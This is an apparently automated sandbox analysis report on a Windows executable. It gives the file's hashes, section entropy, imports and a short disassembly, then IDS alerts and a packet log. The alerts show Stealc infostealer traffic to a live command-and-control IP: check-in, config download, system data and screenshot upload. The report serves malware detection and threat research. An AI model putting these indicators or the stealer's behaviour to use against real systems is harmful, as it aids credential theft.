Thumbprint SHA-1:	141D90A1BA8F61863FBEDDF7DD1D66C1D1E0B128
Thumbprint SHA-256:	A08EA2A7A257AD690B988446951E9DEF2986A2F3F546B6F0902805330F3B6B48
Serial:	00D0461B529F67189D43744E9CEFE172AE

Entrypoint Preview

Instruction
call 00007F62E8C1F01Bh
jmp 00007F62E8C1EC2Dh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F62E8C1EDCFh
neg eax
pop ecx
sbb eax, eax
neg eax
dec eax
pop ebp
ret
push ebp
mov ebp, esp
cmp dword ptr [0043E488h], FFFFFFFFh
push dword ptr [ebp+08h]
jne 00007F62E8C1EDC9h
call 00007F62E8C20C4Bh
jmp 00007F62E8C1EDCDh
push 0043E488h
call 00007F62E8C20BCEh
pop ecx
neg eax
pop ecx
sbb eax, eax
not eax
and eax, dword ptr [ebp+08h]
pop ebp
ret
push 00000008h
push 0043C8D0h
call 00007F62E8C1F33Dh
and dword ptr [ebp-04h], 00000000h
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
jne 00007F62E8C1EE1Fh
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F62E8C1EE0Eh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F62E8C1EE00h
mov eax, dword ptr [ebp+08h]
mov ecx, 00400000h
sub eax, ecx
push eax
push ecx
call 00007F62E8C1EF42h
pop ecx
pop ecx
test eax, eax
je 00007F62E8C1EDE9h
cmp dword ptr [eax+24h], 00000000h
jl 00007F62E8C1EDE3h
mov dword ptr [ebp-04h], FFFFFFFEh
mov al, 01h
jmp 00007F62E8C1EDE1h
mov eax, dword ptr [ebp-14h]
mov eax, dword ptr [eax]
xor ecx, ecx
cmp dword ptr [eax], C0000005h
sete cl
mov eax, ecx
ret
mov esp, dword ptr [ebp-18h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c054	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7b000	0x2e80	.coS
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x40000	0x2600	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x37160	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3c194	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3542c	0x35600	5417248e6eddbf9e71e0ef1318ba6518	False	0.4952978629976581	data	6.957035512848488	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x37000	0x5e34	0x6000	837874709b48ca7a02afd669fee626f9	False	0.4080810546875	data	4.760426961733121	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x1ba4	0x1000	ff4f8fd6963b4f7d1c08f13031fa0788	False	0.470703125	OpenPGP Secret Key	4.849894766585126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x3f000	0x8	0x200	41a36daa2b5a69eb4f33b3ec21415cf7	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x40000	0x2600	0x2600	ae431d4a3a8f12442bd214f38e9e904e	False	0.8173314144736842	data	6.741257851115692	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x43000	0x3bc00	0x3bc00	ebd69cda8afce128a56b1dbc91d4c17a	False	1.0003309688807531	data	7.999240180906571	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T22:33:01.135797+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:01.531066+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:01.652549+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	109.107.157.132	80	192.168.2.4	49733	TCP
2024-11-21T22:33:01.926000+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:02.047690+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	109.107.157.132	80	192.168.2.4	49733	TCP
2024-11-21T22:33:02.961700+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:04.163104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49733	109.107.157.132	80	TCP
2024-11-21T22:33:18.068251+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49751	109.107.157.132	80	TCP
2024-11-21T22:33:34.425656+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:38.944514+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:44.030921+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:53.423137+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:54.608620+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	109.107.157.132	80	TCP
2024-11-21T22:33:58.935645+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49759	109.107.157.132	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 22:32:59.301886082 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:32:59.421425104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:32:59.421561956 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:32:59.421811104 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:32:59.541258097 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:00.664283991 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:00.664351940 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:00.688749075 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:00.830003023 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.135732889 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.135797024 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.138577938 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.258261919 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.530966997 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.531065941 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.531229019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.531397104 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.532964945 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.652549028 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.925913095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.925970078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.925981998 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.926000118 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.926013947 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.926035881 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.926115036 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.926126957 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.926136971 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:01.926157951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.926176071 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:01.928047895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:02.047689915 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.320553064 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.320633888 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:02.344675064 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:02.344716072 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:02.376461983 CET	49675	443	192.168.2.4	173.222.162.32
Nov 21, 2024 22:33:02.464458942 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464559078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464571953 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464581966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464694977 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464704037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.464754105 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.961622953 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:02.961699963 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:03.771936893 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:03.891750097 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.162889004 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.162981987 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.163104057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.163104057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.166726112 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.166794062 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.166799068 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.166851997 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.175081968 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.175157070 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.178138018 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.178205013 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.178241968 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.178296089 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.186522961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.186597109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.186656952 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.186707973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.194895029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.194951057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.194993019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.195044994 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.203291893 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.203353882 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.241111994 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.241183996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.241185904 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.241235018 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.245219946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.245297909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.245333910 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.245378971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.253634930 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.253690958 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.253710032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.253761053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.258619070 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.258652925 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.258692026 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.258723974 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.266983986 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.267071962 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.267106056 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.267155886 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.365252972 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.365324020 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.365377903 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.365413904 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.369493961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.369548082 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.369591951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.369643927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.377965927 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.377986908 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.378026009 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.378051996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.386250973 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.386296988 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.386400938 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.386450052 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.394659996 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.394707918 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.394745111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.394793034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.402884960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.402947903 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.403006077 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.403053999 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.410362005 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.410412073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.410469055 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.410516024 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.417560101 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.417622089 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.417654037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.417700052 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.424681902 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.424734116 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.424813986 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.424854994 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.431822062 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.431874037 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.431905031 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.431952000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.438942909 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.438982964 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.438987017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.439030886 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.446125984 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.446192980 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.446413994 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.446459055 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.453190088 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.453238010 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.453310966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.453353882 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.460375071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.460408926 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.460441113 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.460459948 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.467694044 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.467755079 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.467775106 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.467824936 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.474668980 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.474739075 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.474764109 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.474807978 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.481781006 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.481837034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.482067108 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.482115030 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.488903046 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.488951921 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.489016056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.489062071 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.496077061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.496141911 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.496145010 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.496189117 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.503222942 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.503288984 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.503320932 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.503369093 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.510297060 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.510396004 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.546745062 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.546866894 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.547024965 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.547216892 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.549674988 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.549731016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.549779892 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.549829006 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.555816889 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.555866957 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.558063984 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.558135033 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.558140993 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.558188915 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.564227104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.564276934 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.564352989 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.564403057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.570396900 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.570463896 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.570498943 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.570545912 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.576117039 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.576165915 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.576189995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.576236010 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.581552029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.581602097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.581629992 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.581672907 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.586781979 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.586833000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.586864948 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.586914062 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.591840029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.591850996 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.591896057 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.596612930 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.596674919 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.596678019 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.596720934 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.625078917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.625204086 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.625381947 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.625381947 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.625919104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.625930071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.625977039 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.627358913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.627412081 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.627444029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.627491951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.630048990 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.630101919 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.630101919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.630146027 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.632467031 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.632518053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.632539034 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.632586956 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.634974003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.635025978 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.635101080 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.635183096 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.637526989 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.637578011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.637635946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.637682915 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:04.640275955 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:04.640326023 CET	49733	80	192.168.2.4	109.107.157.132
